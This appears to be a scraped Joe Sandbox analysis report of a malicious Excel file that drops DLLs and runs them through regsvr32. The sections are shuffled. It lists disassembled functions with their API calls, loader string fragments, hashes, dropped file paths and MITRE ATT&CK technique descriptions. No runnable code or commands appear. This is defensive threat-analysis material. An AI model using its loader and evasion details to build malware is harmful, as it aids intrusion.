f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h, xrefs: 000007FEF9D2F445
("Corrupted pointer passed to _freea", 0), xrefs: 000007FEF9D2F430

Memory Dump Source

Source File: 00000003.00000002.926879191.000007FEF9D21000.00000020.00000001.01000000.00000006.sdmp, Offset: 000007FEF9D20000, based on PE: true

Associated: 00000003.00000002.926872386.000007FEF9D20000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926902888.000007FEF9D42000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926912202.000007FEF9D4B000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000003.00000002.926917238.000007FEF9D4F000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_7fef9d20000_regsvr32.jbxd

Similarity

API ID: _free_nolock
String ID: ("Corrupted pointer passed to _freea", 0)$f:\dd\vctools\crt_bld\self_64_amd64\crt\src\malloc.h
API String ID: 2882679554-3458198949
Opcode ID: 9de8216f17933041b20e0427cd6b955395f4fe92a776214bf069d9d6f9ded054
Instruction ID: ad827b7ac8ab2a7eb82804d35ce3812f3a61bc9df3b9012bdfb51b84df9589d9
Opcode Fuzzy Hash: 9de8216f17933041b20e0427cd6b955395f4fe92a776214bf069d9d6f9ded054
Instruction Fuzzy Hash: D6014431A1C78286EBD09B6AE88472EB3D0F390350F604535E6CD43FA8DBBED4058B01

Uniqueness

Uniqueness Score: -1.00%

Analysis Process: regsvr32.exePID: 1832, Parent PID: 2552COMMON

Execution Graph

Execution Coverage:	17.1%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.4%
Total number of Nodes:	90
Total number of Limit Nodes:	12

Executed Functions

Function 001C0000 Relevance: 74.6, APIs: 4, Strings: 38, Instructions: 1094
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32 ref: 001C0450
GetNativeSystemInfo.KERNEL32 ref: 001C0539
VirtualAlloc.KERNEL32 ref: 001C0580
VirtualProtect.KERNEL32 ref: 001C09E9

Strings

ddFu, xrefs: 001C0163
tion, xrefs: 001C0128
Load, xrefs: 001C02F4
urce, xrefs: 001C035D
Load, xrefs: 001C00C8
ofRe, xrefs: 001C0318
aryA, xrefs: 001C00D8
ualP, xrefs: 001C00FF
Flus, xrefs: 001C0113
rote, xrefs: 001C0106
Virt, xrefs: 001C00F8
Free, xrefs: 001C034D
onTa, xrefs: 001C0171
hIns, xrefs: 001C011A
Virt, xrefs: 001C00E0
Reso, xrefs: 001C02DB
Reso, xrefs: 001C02FC
Find, xrefs: 001C02D0
Libr, xrefs: 001C00D0
Reso, xrefs: 001C0338
urce, xrefs: 001C0304
ativ, xrefs: 001C013D
Reso, xrefs: 001C0355
lloc, xrefs: 001C00F0
GetN, xrefs: 001C0136
sour, xrefs: 001C031F
Size, xrefs: 001C0311
ncti, xrefs: 001C016A
eSys, xrefs: 001C0144
urce, xrefs: 001C02E7
ualA, xrefs: 001C00E8
urce, xrefs: 001C0340
RtlA, xrefs: 001C015C
Slee, xrefs: 001C00B7
Cach, xrefs: 001C012F
temI, xrefs: 001C014B
truc, xrefs: 001C0121
Lock, xrefs: 001C0330

Memory Dump Source

Source File: 00000004.00000002.1218933398.00000000001C0000.00000040.00001000.00020000.00000000.sdmp, Offset: 001C0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_1c0000_regsvr32.jbxd

Similarity

API ID: Virtual$Alloc$InfoNativeProtectSystem
String ID: Cach$Find$Flus$Free$GetN$Libr$Load$Load$Lock$Reso$Reso$Reso$Reso$RtlA$Size$Slee$Virt$Virt$aryA$ativ$ddFu$eSys$hIns$lloc$ncti$ofRe$onTa$rote$sour$temI$tion$truc$ualA$ualP$urce$urce$urce$urce
API String ID: 2313188843-2517549848
Opcode ID: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction ID: f654c121e0f75809087bb2166a3c52b90b1e84719569e0c161f38774067afe60
Opcode Fuzzy Hash: 590c178917582490f2a8474f3428d2fdec128c188f960b73743dba758a98ecc8
Instruction Fuzzy Hash: AD72B531618B48CBDB2DDF18C885BB9B7E1FBA8305F14462DE88AD7211DB34D946CB85

Uniqueness

Uniqueness Score: -1.00%

Function 000000018000BEF0 Relevance: 5.4, Strings: 4, Instructions: 360
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

WE0, xrefs: 000000018000C310
&, xrefs: 000000018000C3AB
5RX, xrefs: 000000018000C159
\h], xrefs: 000000018000C087

Memory Dump Source

Source File: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: &$5RX$WE0$\h]
API String ID: 0-3485045178
Opcode ID: 03a43095a46f3f61d774493bb922c9041777d8e7f6728b8083ed9e1489c990f2
Instruction ID: bcdd786ba30a02497e69aa8425991a4f00e6ab9cdb2a577162cf86c9936701da
Opcode Fuzzy Hash: 03a43095a46f3f61d774493bb922c9041777d8e7f6728b8083ed9e1489c990f2
Instruction Fuzzy Hash: 4502E4705187C88BD794DFA8C48A69FFBE1FB94744F104A1DF486862A0DBF4D949CB42

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180017C8C Relevance: 4.0, Strings: 3, Instructions: 298
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

is[, xrefs: 0000000180017E36
47T], xrefs: 0000000180018050
K_j, xrefs: 0000000180017EF3

Memory Dump Source

Source File: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: 47T]$K_j$is[
API String ID: 0-2699472077
Opcode ID: f40290fddc4da9899e50fb62f60591b1b1e6ff44cb1495cdff8c692982a81ea2
Instruction ID: 6016c1221021197edd7f817fb9cbd09fcb5ac8bbf6c5f54f5697c1ffe249b4d0
Opcode Fuzzy Hash: f40290fddc4da9899e50fb62f60591b1b1e6ff44cb1495cdff8c692982a81ea2
Instruction Fuzzy Hash: 2CD127719047CD8FCF99CFA8C88A6EE7BB1FB48344F50821DE80697651C7B4990ACB85

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180029710 Relevance: 4.0, Strings: 3, Instructions: 232
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Strings

$g, xrefs: 00000001800299E4
nB, xrefs: 00000001800299EC
>6, xrefs: 0000000180029ADE

Memory Dump Source

Source File: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID:
String ID: $g$>6$nB
API String ID: 0-1868063892
Opcode ID: 8b852edfb9a28c8a6125e1cd608d8a75501181fe9d205967e4ddb9cdded4da80
Instruction ID: 5ef365e91c1d80a07604eb41db5a1b86f6ebf61e3d7968a3749ade557fb4125b
Opcode Fuzzy Hash: 8b852edfb9a28c8a6125e1cd608d8a75501181fe9d205967e4ddb9cdded4da80
Instruction Fuzzy Hash: 7CB121705193849FC7A9CF68C58569EBBF0FB88744F906A1DF8868B260D7B4DA44CF42

Uniqueness

Uniqueness Score: -1.00%

Function 00000001800155E0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 98
networkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

InternetConnectW.WININET ref: 000000018001574B

Strings

/w?, xrefs: 00000001800156B5
pYi, xrefs: 00000001800156D0

Memory Dump Source

Source File: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: ConnectInternet
String ID: /w?$pYi
API String ID: 3050416762-3829454487
Opcode ID: 33421f65957b2cee526031f8a07a804c17c2d95f214975574550df922f90e764
Instruction ID: 9ccfc4099f9371cda73c12f66118d6bd88d16b35f011f4316eea9315b8229921
Opcode Fuzzy Hash: 33421f65957b2cee526031f8a07a804c17c2d95f214975574550df922f90e764
Instruction Fuzzy Hash: B741E57050C7888FD778DF28D08579AB7E0FB98355F504A2EE88DC7256DB749844CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180008E80 Relevance: 3.6, APIs: 1, Strings: 1, Instructions: 93networkCOMMON

Download Yara Rule

APIs

HttpOpenRequestW.WININET ref: 0000000180008FCE

Strings

/w?, xrefs: 0000000180008F31

Memory Dump Source

Source File: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: HttpOpenRequest
String ID: /w?
API String ID: 1984915467-2883141396
Opcode ID: 818aa95858f7ed11817eb131aa565176550a369bd62d65159787a93bff5cf428
Instruction ID: 62644a68fcffc2b577fce7b544f847534cb1236eece225f9d3186d00a7134b33
Opcode Fuzzy Hash: 818aa95858f7ed11817eb131aa565176550a369bd62d65159787a93bff5cf428
Instruction Fuzzy Hash: 82414B7051CB848BDBA4DF18D08979AB7E0FB98315F10495EE48CC7296DB789888CB87

Uniqueness

Uniqueness Score: -1.00%

Function 000000018002A3E0 Relevance: 1.6, APIs: 1, Instructions: 101COMMON

Download Yara Rule

APIs

GetVolumeInformationW.KERNEL32 ref: 000000018002A553

Memory Dump Source

Source File: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: InformationVolume
String ID:
API String ID: 2039140958-0
Opcode ID: bf946f7280dffac1a3cb664117863ae64736b63a5e6a79a2235ba17386e3f57f
Instruction ID: a7a4fb0533c75889cab630729e0b0d9f2a38dc76e554bad22bb68829b1652ebe
Opcode Fuzzy Hash: bf946f7280dffac1a3cb664117863ae64736b63a5e6a79a2235ba17386e3f57f
Instruction Fuzzy Hash: AB412C705187808FEB78DF18D48A79AB7E1FB98305F104A5DE88DC7396CB789844CB46

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180010B1C Relevance: 1.6, APIs: 1, Instructions: 96fileCOMMON

Download Yara Rule

APIs

CreateFileW.KERNEL32 ref: 0000000180010C64

Memory Dump Source

Source File: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateFile
String ID:
API String ID: 823142352-0
Opcode ID: 36e83bb09eec7ec6f2f1980e7d227db28432cb7784451cfb87e32bb48f6cd236
Instruction ID: ac55bdb39f8b4cda225445b8a297a6fe4d60e7d5d7af93594b9ed55c6b81ea6e
Opcode Fuzzy Hash: 36e83bb09eec7ec6f2f1980e7d227db28432cb7784451cfb87e32bb48f6cd236
Instruction Fuzzy Hash: B941047061C7848FC7A8DF18D08579AB7E0FB98304F10895EE88DC7256DB709988CB86

Uniqueness

Uniqueness Score: -1.00%

Function 0000000180025B1C Relevance: 1.6, APIs: 1, Instructions: 82threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32 ref: 0000000180025C1B

Memory Dump Source

Source File: 00000004.00000002.1219771205.0000000180001000.00000020.00001000.00020000.00000000.sdmp, Offset: 0000000180001000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_180001000_regsvr32.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: 7af62da62a3dd359fefdd9c6a8904522cdd90ae6c0ef31e605b5c3566544960a
Instruction ID: 3f2c7be81e2b52442973c9c793e7ddf499cdb82d70e50cd1cb8991bbce4e9b94
Opcode Fuzzy Hash: 7af62da62a3dd359fefdd9c6a8904522cdd90ae6c0ef31e605b5c3566544960a
Instruction Fuzzy Hash: 4F316970A1CB848FD768DF28D48A75AB7E0FB98304F100A1EF588C7252CB74D904CB86

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report DETAILS 25922194612.xls

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

Snort Signatures

Joe Sandbox Signatures

AV Detection

Compliance

Spreading

Software Vulnerabilities

Networking

E-Banking Fraud

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\5JC0A1KN\1Cb5zOjLgWGDemz55C5[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\T35PENELLOsp[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\XNHC0JWC\4HWP0KQI[1].dll

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\Jf8[1].dll

C:\Users\user\AppData\Local\Temp\CabEE4E.tmp

C:\Users\user\AppData\Local\Temp\TarEE4F.tmp

C:\Users\user\AppData\Local\Temp\~DFFD13BCD3EE2F686F.TMP

C:\Users\user\Desktop\DETAILS 25922194612.xls

C:\Users\user\uxevr1.ocx

C:\Users\user\uxevr2.ocx

C:\Users\user\uxevr3.ocx

C:\Users\user\uxevr4.ocx

C:\Windows\System32\Ejpzh\qlDqXeGagKnBKzd.dll (copy)

C:\Windows\System32\FiPeSYwmr\Wuiko.dll (copy)

Windows Analysis Report
DETAILS 25922194612.xls

Function 000007FEF9D212B0 Relevance: 144.4, APIs: 6, Strings: 76, Instructions: 872
memorywindowCOMMON

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre